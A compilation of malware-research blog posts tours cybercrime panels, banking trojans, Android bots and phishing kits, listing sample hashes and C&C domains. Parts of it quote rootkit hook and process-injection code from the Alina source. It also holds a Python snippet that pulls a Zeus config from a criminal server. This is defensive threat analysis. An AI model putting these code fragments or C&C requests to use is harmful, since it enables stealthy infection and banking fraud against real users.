Server logs start the 3 oct 2015:

TokenSpy:

With a nice ring animation :)

Rule/test:

Search database:

Search list:

Setup:

With a reference to citadel.

Report:

Favorite reports:

Search in files:

Screenshot:

View videos:

CMD parser:

Neuromodel:

Edit:

Links:

Balance grabber:

Config:

Activity:

Jabber notifier:

Notes:

Crypt exe:

FTP iframer:

Config:

Iframe lead on a Keitaros TDS who lead on malware:

That right, second one is a blackhole exploit kit.

Jérôme Segura of MalwareBytes have wrote about this one here: https://blog.malwarebytes.org/exploits-2/2015/11/blast-from-the-past-blackhole-exploit-kit-resurfaces-in-live-attacks/
First one is RIG exploit kit delivering Chthonic targeting Russia and Ukraine.
And for update-flashplayer.ml, update-flash-security.ml, they lead to iBanking download.

SHA1: E536E23409EBF015C500D5799AD8C70787125E95

CNC at templatehtml.ru

To get back on the original subject, here is the File hunter:

Downloaded:

Trash:

Mailer:

Config:

Mail:

Informations:

Options:

Jabber adress:

User:

Users:

Different admins with different rights:
Some users have limited actions, for exemple one guys had only access to malware upload feature, probably to refresh the crypt.
6 users including the master user is using russian language on the panel, the rest is configured on english language.

Install:

Files:

CC parser:

Webinject server:

Dashboard:

View:

Settings:

Replacer settings:

Chat:

Drop:

Fakes:

WebInject server 2:

Dashboard:

Command:

Logs:

Cash list:

Stats:

Drops:

State stats:

User management:

Export CSV:

Help:

/s/ panel:

Show infos:

State stats:

Help:

/s2/ panel:

/s3/ panel:

Pony used by one member of the gang:

Browser logs:

Citadel 0.0.1.1 samples:
A7D98B79FBDD7EFEBE4945F362D8A233A84D0E8D
C286C31ECC7119DD332F2462C75403D36951D79F
D399AEDA9670073E522B17B37201A1116F7D2B94
BFD9251E135D63F429641804C9A52568A83831CA
2E28E9ACAC691A40B8FAF5A95B9C92AF0947726F
5CAC9972BB247502E700735067B3A37E70C90278
959F8A78868FFE89CD4A0FD6F92D781085584E95
2716D3DE18616DBAB4B159BACE2F2285DA358C84
450A638957147A62CA9049830C3452B703875AEE
7C90F27C0640188EA5CF2498BF5964FF6788E79C
14C0728175B26446B7F140035612E303C15502CB
267DA16EC9B114ED5D9F5DEE07C2BF77D4CFD5E6
E6DD260168D6B1B29A03DF1BA875C9065B146CF3
963FE9DCEDA3A4552FAA88BABD4E9954B05C83D2
4F6AE5803C2C3EE49D11DAB48CA848F82AE31C16
8BBFA46A2ADCDF0933876EF920826AB0B02FCC18

Decrypted Citadel plugins:
B3FDC0DAFA7C0A2076AB4D42317A0E0BAAF3BA78
0B40F80C025C199F7D940BED572EA08ADE2D52F9
3B004C68C32C13CAF7F9519B6F7868BF99771F30
Hidden VNC demo: https://www.youtube.com/watch?v=TDOZfalD_LY

Atmos package:
056709A96FE05793B3544ACB4413A9EF827DCEEF
C1B79552B6F770D96B0A0C25C8C8FD87D6D629B9

Other samples (not Atmos):
02FFC98E2B5495E9C760BDA1D855DCA48A754243
B7AE6D5026C776F123BFC9DAECC07BD872C927B4
56B58A03ADB175886FBCA449CDB73BE2A82D6FEF

Some other atmos sample (Courtesy of Kafeine):
8BBFA46A2ADCDF0933876EF920826AB0B02FCC18
DAABF498242018E3EE16513E2A789D397141C7AC
04F599D501EA656FB995D1BFA4367F5939631881

You can find my yara rules for mitigating Atmos here: https://github.com/Yara-Rules/rules/blob/master/malware/MALW_Atmos.yar
The Google Chrome injections appear to work from v25.0.1349.2 (2012/12/06), till v43.0.2357.134 (2015/07/14)

Fun thing: I got correlations with a CoreBot sample and their webinjects used.
ch_new, wf2, cu_main, citi_new, ebay_new, [...]
Same kind of campaign inside their panels and same custom file names.

if you look for more infos about Citadel, the community did a great work here http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465

継続は力なり

Betabot retrospective

noreply@blogger.com (Steven K) — Wed, 15 Apr 2015 19:19:00 +0000

Some of you know Betabot.. if you don't: http://www.ic3.gov/media/2013/130918.aspx

1.0.2.5 panel:
Dashboard:

extended information:

Search options:

Tasks:

Remove bot:

Terminate bot till next reboot:

Botkill:

Socks4:

Set browser homepage:

Visit URL option:

Update bot option:

Download file option:

DDoS cmd option:

Formgrabber logs:

logins:

users:

Settings:

IP blacklist:

List of dns recod to modify:

Help:

1.5.0.0:

Tasks:

Statistics:

Files:

Users notice:

AV Checker:

1.7.0.1:

The botmaster was running a support site at the url betabot.ru that i've monitored since... i don't know almost the begining till the end.
I've really collected a lot of datas and was constantly flagging new C&C urls even before they was active.

Inquiries sent to the betabot team (before they started the support forum):

Site structure:

Some clients kits:

Finally some people got busted using these informations..
If you want an example.. 'Spit Fyre' ex super moderator at Trojanforge who reside in the same country as me.
If you wonder why he disappeared you know why now.

Spit Fyre requesting an admin of Hackyard to delete his account after he got cops at door:

Some of his domains:
• dns: 1 ›› ip: 124.248.205.104 - adress: DARKNESS.SU
• dns: 1 ›› ip: 124.248.205.104 - adress: WEED.SU
• dns: 1 ›› ip: 124.248.205.104 - adress: MEZIAMUSSUCEMAQUEUE.SU
• dns: 1 ›› ip: 124.248.205.104 - adress: UMBXD15896.SU
• dns: 1 ›› ip: 124.248.205.135 - adress: STYXB1TCH35.SU
• dns: 1 ›› ip: 124.248.205.135 - adress: J1NXFYR3.SU

Anyway it's useless to talk about him and others betabot clients who had visits, the current status of betabot is stalled now and someone even made a builder for the 1.7.0.1 version.
Betabot was a creative malware, plagued by bugs though.

Alina 'sparks' source code review

noreply@blogger.com (Steven K) — Wed, 14 Jan 2015 23:07:00 +0000

I got on my hands recently the source code of Alina "sparks", the main 'improvement' that everyone is talking about and make the price of this malware rise is the rootkit feature.
Josh Grunzweig did already an interesting coverage of a sample, but what worth this new version ?

InjectedDLL.c from the source is a Chinese copy-paste of http://www.cnblogs.com/lzjsky/archive/2010/12/01/1892702.html and commented out, replaced with two kernel32 hooks instead, like if the author cannot into hooks :D
a comment is still in Chinese as you can see on the screenshot.

+ this:

LONG WINAPI RegEnumValueAHook(HKEY hKey, DWORD dwIndex, LPTSTR lpValueName,LPDWORD lpcchValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)

{

LONG Result = RegEnumValueANext(hKey, dwIndex, lpValueName, lpcchValueName, lpReserved, lpType, lpData, lpcbData);

if (StrCaseCompare(HIDDEN_REGISTRY_ENTRY, lpValueName) == 0)

{

Result = RegEnumValueWNext(hKey, dwIndex, lpValueName, lpcchValueName, lpReserved, lpType, lpData, lpcbData);

}

return Result;

}

...

// Registry Value Hiding

Win32HookAPI("advapi32.dll", "RegEnumValueA", (void *) RegEnumValueAHook, (void *) &RegEnumValueANext);

Win32HookAPI("advapi32.dll", "RegEnumValueW", (void *) RegEnumValueWHook, (void *) &RegEnumValueWNext);

So many stupid mistakes in the code, no sanity checks in hooks, nothing stable.
Haven't looked at a sample in the wild but i doubt it work anyhow.
Actual rootkit source (body stored as hex array in RootkitDriver.inc c:\drivers\test\objchk_win7_x86\i386\ssdthook.pdb) is not included in this pack of crap.

This x86-32 driver is responsible for NtQuerySystemInformation, NtEnumerateValueKey, NtQueryDirectoryFile SSDT hooking.
Driver is ridiculously simple:

NTSTATUS NTAPI DrvMain(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)

{

  DriverObject->DriverUnload = (PDRIVER_UNLOAD)UnloadProc;

  BuildMdlForSSDT();

  InitStrings();

  SetHooks();

  return STATUS_SUCCESS;

}

BOOL SetHooks()

{

  if ( !NtQuerySystemInformationOrig )

    NtQuerySystemInformationOrig = HookProc(ZwQuerySystemInformation, NtQuerySystemInformationHook);

  if ( !NtEnumerateValueKeyOrig )

    NtEnumerateValueKeyOrig = HookProc(ZwEnumerateValueKey, NtEnumerateValueKeyHook);

  if ( !NtQueryDirectoryFileOrig )

    NtQueryDirectoryFileOrig = HookProc(ZwQueryDirectoryFile, NtQueryDirectoryFileHook);

  return TRUE;

}

All of them hide 'windefender' target process, file, registry.

void InitStrings()

{

  RtlInitUnicodeString((PUNICODE_STRING)&WindefenderProcessString, L"windefender.exe");

  RtlInitUnicodeString(&WindefenderFileString, L"windefender.exe");

  RtlInitUnicodeString(&WindefenderRegistryString, L"windefender");

}

It's the malware name, Josh pointed also in this direction on his analysis.
First submitted on VT the 2013-10-17 17:27:10 UTC ( 1 year, 2 months ago )
https://www.virustotal.com/en/file/905170f460583ae9082f772e64d7856b8f609078af9823e9921331852fd07573/analysis/1421046545/

Overall that dll seems unusued, alina project uses driver i mentioned.
As for project itself, it's still an awful piece of students lab work, here is some log just from attempt to compile:

source\grab\base.cpp(78)

If SHGetSpecialFolderPath returns FALSE, strcat to SourceFilePath will be used anyway.

Two copy-pasted methods with same mistake:

source\grab\base.cpp(298)

source\grab\base.cpp(433)

Leaking process information handle pi.hProcess.

Using hKey from failed function call:

source\grab\base.cpp(316):

if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0L,  KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) {

      RegCloseKey(hKey); 

pThread could be NULL, this is checked only in WriteProcessMemory but not in CreateRemoteThread:

source\grab\monitoringthread.cpp(110):

LPVOID pThread = VirtualAllocEx(hProcess, NULL, ShellcodeLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (pThread != NULL) WriteProcessMemory(hProcess, pThread, Shellcode, ShellcodeLen, &BytesWritten);

HANDLE ThreadHandle =  CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pThread, NULL, 0, &TID);

Where hwid declared as char hwid[8];
Reading invalid data from hdr->hwid: the readable size is 8 bytes, but 18 bytes may be read:

source\grab\panelrequest.cpp(73):

memcpy(outkey, hdr->hwid, 18);

Realloc might return null pointer: assigning null pointer to buf, which is passed as an argument to realloc, will cause the original memory block to be leaked:

source\grab\panelrequest.cpp(173)

The prior call to strncpy might not zero-terminate string Result:

source\grab\scanner.cpp(159)

Return value of ReadFile ignored. If it will fail anywhere code will be corrupted as cmd variable is not initialized:

source\grab\watcher.cpp(61)

source\grab\watcher.cpp(64)

source\grab\watcher.cpp(71) 

Signed unsigned mismatch:

source\grab\rootkitinstaller.cpp(47)

Unreferenced local variable hResult:

source\grab\base.cpp(158)

Using TerminateThread does not allow proper thread clean up:

source\grab\watcher.cpp(125)

Now related to 'editions' sparks have some, for examples the pipes, mutexes, user-agents, process black-list but most of these editions are minors things that anybody can do to 'customise' his own bot.
In any case that can count as a code addition or something 'new'
For the panel... well it's like the bot, nothing changed at all.
It's still the same ugly design, still the same files with same modifications timestamp, no code addition, still the same cookie auth crap like if the coder can't use session in php and so on...

To conclude, the main improvement is a copy/pasted rootkit who don't work, i don't know how many bad guys bought this source for 1k or more but that definitely not worth it.
Overall it's a good example of how people can take a code, announce a rootkit to impress and play everything on malware notoriety.
This remind me the guys who announced IceIX on malware forums and finally the samples was just a basic ZeuS with broken improvements.

Hi Benson.

Tiberium/Consuella USPS money laundering service

noreply@blogger.com (Steven K) — Wed, 14 Jan 2015 09:03:00 +0000

Consuella was a 'USPS drop service' run by one of the Lampeduza administrator.
This type of service is used to help credit card thieves to "cash out" by sending carded labels service overseas (or not) via USPS.
They was also constantly recruiting mules in United states to keep addresses in rotation.

Here is what look like the service from an admin point of view:

Add a payement:

Users:

Supports:

News:

Settings:

Although Consuella was incredibly simple compared to others drop-shipping service such as addtrack.biz and pac-man.co who had fake website for mules on the panel.

Cryptorbit locker

noreply@blogger.com (Steven K) — Tue, 13 Jan 2015 00:53:00 +0000

When Cryptorbit ransomware was targeting people i've visited them

SQL database:

Bad guy wallets:
1H6jc6Mz535zTts6DWdeJf3HdH4owGjsXo
15JTKDkU4U6Tn5MBc9Pt52mMzXDmvmaanR
18yP3oKzeqChWCYG2ZGPcBhMQBiXFeR2GF
17FSkXDULjtK6R9G3cpwmLMYbWRZJ9c8vZ
1KZvxpPzvkSCqm3VTffWBWcLumWK1KJfkK

Pseudo decryptor ~ 4a8e11468649e045976574691cf53732

Captain Barbarossa

noreply@blogger.com (Steven K) — Tue, 13 Jan 2015 00:49:00 +0000

Captain Barbarossa, is used for Paypal phishing and sold as phishing kit, the kit include an admin panel.
User is tricked with a fake Paypal login asking for details, here in German:

Once infos are transmitted the datas are sent to the panel.
Login:

Main:

Log manager:

Phase (Win32/PhaseBot-A)

noreply@blogger.com (Steven K) — Mon, 12 Jan 2015 20:48:00 +0000

Small write-up about 'Phase' a malware who appeared and vanished very rapidly.
I had a look on it with MalwareTech who wrote several stories, it was shown that Phase is in reality a 'new' version of Solar bot, at least not so new, the code is so copy/pasted that even Antivirus such as Avast do false positives and now detect Napolar (Solar) as PhaseBot.

Advert:

Phase support website:

The coder is using public snippet for chatting with customers:

So weak that this is even vulnerable to xss.

Master balance ? less than < 1k

Phase seem not so popular, and got also rapidly lynched by other actors on forums.

Anyway let's have a look on the web panel.
Login:

Dashboard:

Commands:

Botlist:

Credentials:

Socks5:

Browsers:

Modules:

Analyzer detector:

RDP:

Settings:

FAQ:

Structure:

In the wild panel, having Ram scrapper plugin + VNC:

Ram scrapper plugin:

Point-of-sale remote controlled:

Another botnet with hacked point of sale remote controlled:

Wallet stealer:

Phase samples:
ae7a56b3adf6f7684ba14a77c017904d
12dccdec47928e5298055996415a94f2
d1446326bf1c69ea9df6e65bd472f358
1f3e808a3ccd981f3e61de227dae93b8
6ce0bb4cd86295f915160d7207a07a47
5767b9bf9cb6f2b5259f29dd8b873e36
a10f84153dba7b73980f0ff50d8cc8e6
f8ffcab3324561598ce5c375c07066be
e4574fbc1014d27e1b6906bfc5351e0e
d2ed20b1996e7e5bad2b91fd255732ef
f89b4e626c7a81544ca7395be3262cf6
ef69575e14fa965380242db26675d2df
fc586c3ec37e51668e905d0acfc913f6
eb9b56d829c3951b6e9cb5e4a651f7c8
6f53d3cd1acb7541bcc7399c4af001b1
19fa3927577571c51428f6eee2b5f52f
4ec84f1aa91e4cdc12118002244ca582
20e3a9ec396ad8b57a36ea3c6b9f151a
fe5dfa53204a65eca741ceab352c3b00
ace0a059dc2264c847d4e6c91f829dfd
f01c1ea73e968c2309391dcf3f0a2848

Unencrypted Ram scrapper plugin: 1e18ee52d6f0322d065b07ec7bfcbbe8
Unencrypted VNC plugin: 94eefdce643a084f95dd4c91289c3cf0
Panel: c43933e7c8b9d4c95703f798b515b384 (With a small trendMicro signature fail "PHP_SORAYA.A" no this is not the Soraya panel.
Needless to say the panel was also vulnerable.

Neutrino bot

noreply@blogger.com (Steven K) — Mon, 12 Jan 2015 20:48:00 +0000

Neutrino bot is a malware who appeared and vanished quickly like Phase.
not worth the look anyway.

Advert:

Task:

Statistics:

Clients:

Files:

Logs:

Settings:

iBanking

noreply@blogger.com (Steven K) — Mon, 12 Jan 2015 20:47:00 +0000

iBanking is an android malware made to intercept voice and text informations.
The panel is poorly coded.

Login:

Projects:

Phone list:

SMS List:

All SMS (Incomming)

All SMS (Outgoing):

Call list (Incomming):

Call list (Outgoing):

Call list (Missed):

Sounds:

Contact list:

Url report:

i/o

noreply@blogger.com (Steven K) — Sat, 20 Dec 2014 17:45:00 +0000

Wow, it's been a awhile since i haven't written anything new here...
So to answer many questions.. no i'm not dead, and will try to get active again a bit next year.

I'm not writing this due to explanation requests or people worried (even if i got solicited many time to write something) but more because i'm motivated again to write.
As i've said many times to the recurrent e-mails i receive and continue to receive (even after 7 months of inactivity!)
I've did a lot of changement in my life, and during this time i got better things to do than writing in a blog.
Principaly i had many personal issues to resolve.
It's also not the first time i repeat that i've a life and that i've always run this blog for fun and nonprofit like my other services such as cybercrime-tracker.net
And sooner or later i will get bored and do a break although i've continued to update CCT, to don't leave people with nothing.

I changed of job also and shifted in the energy sector.
I wanted to get a job who combine my passion for mechanic and electronic.
And now i'm winding turbo-alternators for nuclear/hydraulic power plants around the world and governmental organisations. (pretty cool, huh?)
I can't tell you details obviously due to confidentiality clauses as it's critical, but making those huge machines/projects are quite awesome and the job is very meticulous.

I've joined also the administration of my local hackerspace, and now holds the position of treasurer.
I'm doing also various workshops mostly electronic/borderline related who take me time to prepare and organize.
In parallel i experiment myself also a lot, those who follow my youtube/twitter activity probably know what i mean, i received 2 day ago hydrofluoric acid.

2014 started a bit bad for me as i had a car crash the day of christmas and got the clavicle broken. Anyway globally it was a nice year, and off my blog i've met a lot of people like Horgh and many others.
Sadly i wasn't able to go to BotConf neither DahuCon this year due to my job... so maybe next year !

I've worked a bit also with Hackerstrip and released recently some codes for DarK-CodeZ #6, nothing fancy but it was fun to participate, thanks guys.
So that all, see you in 2015 for throwing cobblestones and breaking bones !

Install service for Malware affiliates and individuals

noreply@blogger.com (Steven K) — Mon, 05 May 2014 11:16:00 +0000

This install service was running since a long time but the server recently died.
People targeted are from Russia, Ukraine, Belarus, Kazakhstan, and Uzbekistan.

Login:

Statistics by days:

(Date, Unique visits, General visits)

Statistics by countries:

(Countries, Unique visits, Percentage, General visits)

Statistics by version:

(Version, Unique visits, Percentage, General visits)

Statistics by time:

(Time, Users)

Downloads:

(Date, Already installed, ???? installed, Successfully installed, Copy failed, Modify failed, Register failed)

Updates:

(Date, Begin update, Downloaded update, Executed update, No ATL, Execution failed)

Statistics by tasks:

(Date, Start of xxxx, Searches, Clicks, ???)

Statistics by sites:

Statistics by ads:

Loader, users list:

(Nickname, ID, Priority, Ban, GEO, Days, General limit, Working conditions, Today, Summary, Size, Time, File)

There is some interesting people in this listing:
Severa (Know for FakeAV, Spam)
Malwox Affiliate (Mayachok.1)
Feodal cash Affiliate (Bitcoin malware)

And if you want to know about the EXE files loaded... all are malwares (Zeus,SpyEye, Russian lockers, Spam bots, Mayachok... etc..)
The x64 Zbot covered by Kaspersky also come from here.

http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1363&start=50#p19625
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=648&start=40#p19621
The executables was rotating and was refreshed constantly, from this system, around 400 samples can be pulled per day.

Download statistics for client 191 ( Malwox TEST ):

(Date, Derved, Executed, Ctr, Create, Exists, Down, Run, Unp)

Edit user:

Add user:

Schedule for user:

FTP:

Menu: users list, add, FTP, Stats.

For the FTP list, most of accounts were with shell on them.

Structure:

From the source:

$useZorkaJob = 0; //схч чрїюфр

$useSputnikJob = 0;

$useRekloJob = 0;

$useSpoiskJob = 0;

$useBegunCheatJob = 0;

Begun is one of the biggest ads services in Russia.

ATSEngine

noreply@blogger.com (Steven K) — Sat, 03 May 2014 23:12:00 +0000

ATSEngine injects can be found oftenly inside Zeus configs, it makes the webinjects more dynamic because most of the content is located remotely and can be updated much easily instead of sending new config to all the bots.
It's the main difference with this, and a standard web inject inside Zeus.
One just allows you to do a static change in the page while the other gives you much more options, for example, customized webinjects, pop-ups, online requests for token etc...
ATSEngine have also a jabber alert feature, it let the fraudster know when the victim is logged to his bank account so it would be a god time to backconnect him (with the VNC feature of Zeus) and do the transaction.
Most of ATSEngine panels are also hosted on SSL because banks use SSL.

ATSEngine on a ZeusVM config.

ATSEngine on a Citadel config.
Example of figrabber.js from an ATSEngine panel.

Some guys do also a business with this type of web injects, for example:

He's offering a service for writing injects.
The title says "Auto-uploads and Injects from professionals for professionals"
The rest of the text explains how the service works, it's more a terms and conditions post rather than a technical description of the product, about moneyback, privacy, guarantees and other stuff.
They dont write mobile botnets, trojan horses, traffic direction systems or other malware software except injects, also they dont guarantee bypass of protection (like Rapport).
yummba is know anyway for writing injects for ATSEngine.

Let's have a look on a C&C now..

Accounts:

Reports:

Options main:

Options Jabber:

Another panel, on SSL:

Another panel, still on SSL:

Details:

Additional fields rules:

Additionnal fields rules (texts):

Edit rule:

Edit text:

VBV/MCSC rules:

Add a rule:

Options:

Options (CC Checker):

Files, dumped from another panel, targeting La banque Postal (a French bank):

Android.Trojan.Rubobi.A (SmsPiratBot)

noreply@blogger.com (Steven K) — Sun, 27 Apr 2014 20:36:00 +0000

Another Android botnet dumped recently.
This malware can send and intercept sms from bots.
Like most of android botnets, they are used mainly to target mobile banks like Sberbank (www.sberbank.ru - the biggest bank in Russia)
In Russia, you can transfer money from one card to another card through mobile sms
This botnet is sold 120$

Fake App:

MD5: 2ea5e73653d1454c04ecd48202dcc391

Login:

System Stats:

Countries:

Operators:

Task Stats:

Task Editor:

Blacklist:

Stored SMS:

Another panel:

Structure:

Lame scareware

noreply@blogger.com (Steven K) — Sun, 27 Apr 2014 19:09:00 +0000

I've found a sample yesterday downloaded via this url: skyways.co/play.exe, console application, and ugly code + scareware and third party FakeAV call center.
All the following was so lame that i need to talk about this.

At first the malware will try to see if he's dropped into %SYSTEMROOT%/system/
If it's not the case then he will create a file:

Then, you think he will write into the new file created but nope, he add a registry persistence, by using the api CreateProcess (oh god, why) instead of using RegCreateKey:

Wrote finally the file:

Wait 5 minutes then display a message box:

"Your computer's file system has encountered a serious error. Please restart the computer or call support at 1-866-286-6162"

After a reboot, a shutdown procedure is initialized:

And 5 minutes after, once again the messagebox:

I searched the phone number on google and found this:

"Technicion is an independent provider of on-demand tech support and not affiliated with any third party"

ok, what's about the payement page:

Just 99.99 without any explanation, even the currency symbol is unknown, what a serious site.

And for the story i tried to call 1-866-286-6162 to insult them and tell them how much i hate their ugly code etc.. but there was no available representatives..

Android/FakeToken.A

noreply@blogger.com (Steven K) — Sun, 20 Apr 2014 11:07:00 +0000

OTP forwarder dumped months ago.

Login:

Statistics:

Bots:

Bot:

Passwords:

Send a command:

Commands sent:

Apps:

Apps builder:

MD5s:
2d4770137ae0b91446fc2f99d9fdb2b0
f629adcfbcdd4622ad75337ec0b1a0ff
dd4ac55df6500352dd2cad340a36a40f
b9f9614775a54aa42f94eedbc4796446
1fababfd02ea09ae924cd0a7dbfb708c
bc8394bc9c6adbcfca3d450ee4ede44a
1cb87e1716c503bf499e529ee90e5b31
6db5cdd2648fcd445481cdfa2f2b065a
2ad6f8b8e4aaf88b024e1ddb99833b79
8bac185b6aff0bec4686b7f4cb1659c8

App settings:

Settings:

Second panel, a bit different, look like a 'test' one.
Statistics:

Phone:

Phone search:

Settings:

RSA Security talked also about it here

ZeusVM and steganography

noreply@blogger.com (Steven K) — Sun, 13 Apr 2014 19:20:00 +0000

Months ago, researchers observed an evolution of ZeusVM, time to get back on this family.

For informations,
The first ZeusVM sample i've seen using steganography was the 21 November 2013.
The IP of the C&C have Russian origin: 212.44.64.202
A Sutra TDS who redirect on Nuclear Exploit pack was pushing the payload, Roman of abuse.ch blacklisted 212.44.64.202 one month later on his Zeus tracker.

The first guy who publicly wrote about ZeusVM change is probably Jerome Segura of Malwarebytes.
Actually the latest version i've saw in the wild is 1.0.0.5, and if you want a hash: e4c31d18b92ad6e19cb67be2e38c3bd1 (sample is fresh of today)

Let's have a look on the first server that i've see now... 212.44.64.202.
Pony, Multilocker, Mailers, Grum and an older version of ZeusVM (without steganography) was also hosted on this server but that not the topic.

The filename of login scripts and ZeusVM configs were hardnamed in russian, like:
borodinskoesrajenie.jpg (http://en.wikipedia.org/wiki/Battle_of_Borodino)
vhodtolkodlyaelfov.php (only elves can enter)
logovoelfov.php (elf's den)
domawniypitomec.php (domestic animal)
jivotnoe.php (animal)
larecotkryt.php (the chest is open)
And so on.. overall the panel design seem back to the original zeus style (not like the previous 'generation' of ZeusVM with casper)

/kec/:

/luck/:

/ass/:

/kbot/:

/ksks/:

/one/:

/two/ (unused):

/three/ (unused):

/four/ (unused):

Now, for decoding those ZeusVM images, as described by Jerome, you just need to strip the image and do the following: Base64+RC4+VisualDecrypt+UCL Decompress

Here are some 'malicious' image from 212.44.64.202:
mix.jpg:

mix.jpg:

config.jpg:

kartamestnosti.jpg:

webi_test.jpg:

uwliottrekera.jpg:

test_vnc2.jpg:

x64hook.jpg:

Some configs was done for tests:

And some wasn't for test, targeting banks with MiTB.
Malicious code injection, on a ZeusVM botnet targeting France:

Lame webinject:

CCGRAB:

ATSEngine:

Nowadays more actors start to use ZeusVM, like the group who was using the 'private' version of Citadel 3.1.0.0 and the group who was targeting Japan.
Both switched on ZeusVM as alternative of Citadel.

You can find the samples related to 212.44.64.202 with config and decoded here:
http://temari.fr/vx/ZeusVMs_212.44.64.202.7z

Some other ZeusVM samples (not related to 212.44.64.202):
http://temari.fr/vx/ZeusVMs_v1.0.0.2_v1.0.0.5.7z

root/root

Zeus 1.1.3.4

noreply@blogger.com (Steven K) — Tue, 04 Mar 2014 18:30:00 +0000

RSA FirstWatch throw me recently a sample of a 'new' Zeus variant.
I didn't really check all the changes that were made but seem it's nothing more than just a standard Zeus v2.
But wait, it communicates over SSL and had a new kind of HTTP request pattern:

Fiddler:

Config download in python:

import urllib2

request = urllib2.Request('https://secureinformat.com/?ajax')

request.add_header('Accept',     '*/*')

request.add_header('X_ID',       '14E255CE7875768FBC303C10')

request.add_header('X_OS',       '510')

request.add_header('X_BV',       '1.1.3.4')

request.add_header('Control',    'no-cache')

request.add_header('User-Agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729;')

page = urllib2.urlopen(request).read()

open('ajax', 'w').write(page)

Notice the new headers:
X_ID = Bot ID
X_OS = OS version
X_BV = Variant version

The answer of the server have X_ID as cookie:

<< HTTP/1.1 200 OK

<< Date: Fri, 28 Feb 2014 06:35:34 GMT

<< Server: Apache

<< Set-Cookie: X_ID=14E255CE7875768FBC303C10; expires=Sat, 28-Feb-2015 06:35:34 GMT; path=/

<< Content-Description: File Transfer

<< Content-Disposition: attachment; filename=ajax

<< Content-Transfer-Encoding: binary

<< Expires: 0

<< Cache-Control: must-revalidate, post-check=0, pre-check=0

<< Pragma: public

<< Content-Length: 3685

<< Connection: close

<< Content-Type: application/octet-stream

Sample: bb9fe8c3df598b8b6ea2f2653c38ecd2

Version: 1.1.3.4 

RC4: E2 82 3E B3 04 11 15 34 17 64 01 DC 7D B8 A5 35 CB 00 19 AA 81 59 6E 1B 85 7E 44 CA 10 90 40 2A C3 36 20 C5 C2 55 E6 F4 43 67 5B 42 4D 21 98 D4 78 70 1A 6F 72 24 88 B4 0A E7 B9 BC C1 8E 8F 79 86 CC 5F 46 FC A9 1C F0 74 E0 C0 3F 8D DD EC 4C 66 A0 02 97 C6 99 BB 7F 0D A8 3A 27 07 E8 75 80 28 54 93 D3 BD 2C EA 9D F6 0B 45 2E F1 EB A3 0E 9E BA 4B 9F 09 89 56 29 C4 48 23 14 2F DA F5 39 3B 8C CD 2B 37 41 A2 95 0F C9 BE AD F8 D7 DE C8 B5 0C 76 51 DF 5D B2 D6 AC 83 52 08 50 92 E1 B0 9C AE CF E4 ED B1 5E 7C 6A 96 65 26 87 2D 12 8A 9A A4 FF 94 D2 7A C7 47 31 7B EE CE DB 32 B7 06 D1 F2 EF AB AF 3C 18 84 E3 22 61 03 3D D9 9B 05 58 D8 30 F7 F3 B6 62 8B 1E 6C 71 FA 4A 4E 63 60 4F 16 6D 25 FB 53 FD 13 33 D0 E9 73 68 F9 69 A6 38 57 6B 5A 49 1D A1 A7 1F BF 5C D5 E5 91 77 FE

Drop Point: http://localhost/gate.php

Infection Point: http://localhost/bot.exe

Update Point:

http://secureinformat.com/?ajax (static config)

For unpacking the config, here again nothing new, regular Zeus v2.
Once unpacked, we can see that the malware is targeting German banks and Trusteer:

http*://*netbanking.sparkasse.at/hilfe/sicherheit*

https://*banking.berliner-bank.de/trxm*

https://*banking.co.at*

https://*commerzbank.de*

https://*commerzbanking.de*

https://*meine.deutsche-bank.de/trxm/db*

https://*meine.norisbank.de/trxm/noris*

https://banking.postbank.de/rai*

https://banking.sparda.de*

https://finanzportal.fiducia.de*

https://netbanking.sparkasse.at/*

https://netbanking.sparkasse.at/casserver/login*

https://netbanking.sparkasse.at/sPortal/*

https://online-*.unicredit.it/*

https://online.bankaustria.at*

https://*commerzbank.de*

https://*commerzbanking.de*

https://*meine.deutsche-bank.de/trxm/db*

https://*meine.norisbank.de/trxm/noris*

https://www.trusteer.com/ProtectYourMoney*

WebInjects:

https://secure730.com/oz1/service.in?id=50

https://secure730.com/oz1/service.in?id=44

https://secure730.com/oz1/service.in?id=43

https://secure730.com/oz1/service.in?id=41

https://secure730.com/oz1/service.in?id=7

https://secure730.com/oz1/service.in?id=6

https://secure730.com/oz1/service.in?id=4

https://secure730.com/oz1/service.in?id=3

https://secure730.com/oz1/service.in?id=2

https://secure730.com/oz1/service.in?id=1

https://secureinformat.com/id/351

https://secureinformat.com/id/350

https://secureinformat.com/id/51

https://secureinformat.com/id/10

Man in the browser:

Clean browser surfing Trusteer website:

Infected browser surfing Trusteer website:

Requesting the user to download an APK:

Test done on the latest Firefox version (v27.0.1)

bit.ly/1jmQHmA = hxtp://shlyxiest.biz/cdn/Trusteer-Mobile.apk
>> https://www.virustotal.com/en/file/2f82ce7288137c0acbeefd9ef9f63926057871611703e77803b842201009767a/analysis/1393786189/
Phone number: 79670478968

Identified as Perkel.c by Kaspersky, Perkel is an android malware who was sold by Perkele (this guy was later banned from underground forums for scaming but it's another story)

Sort of Fake AV:

Sample: 917df7b6268ba705b192b89a1cf28764

Version: 1.1.3.4

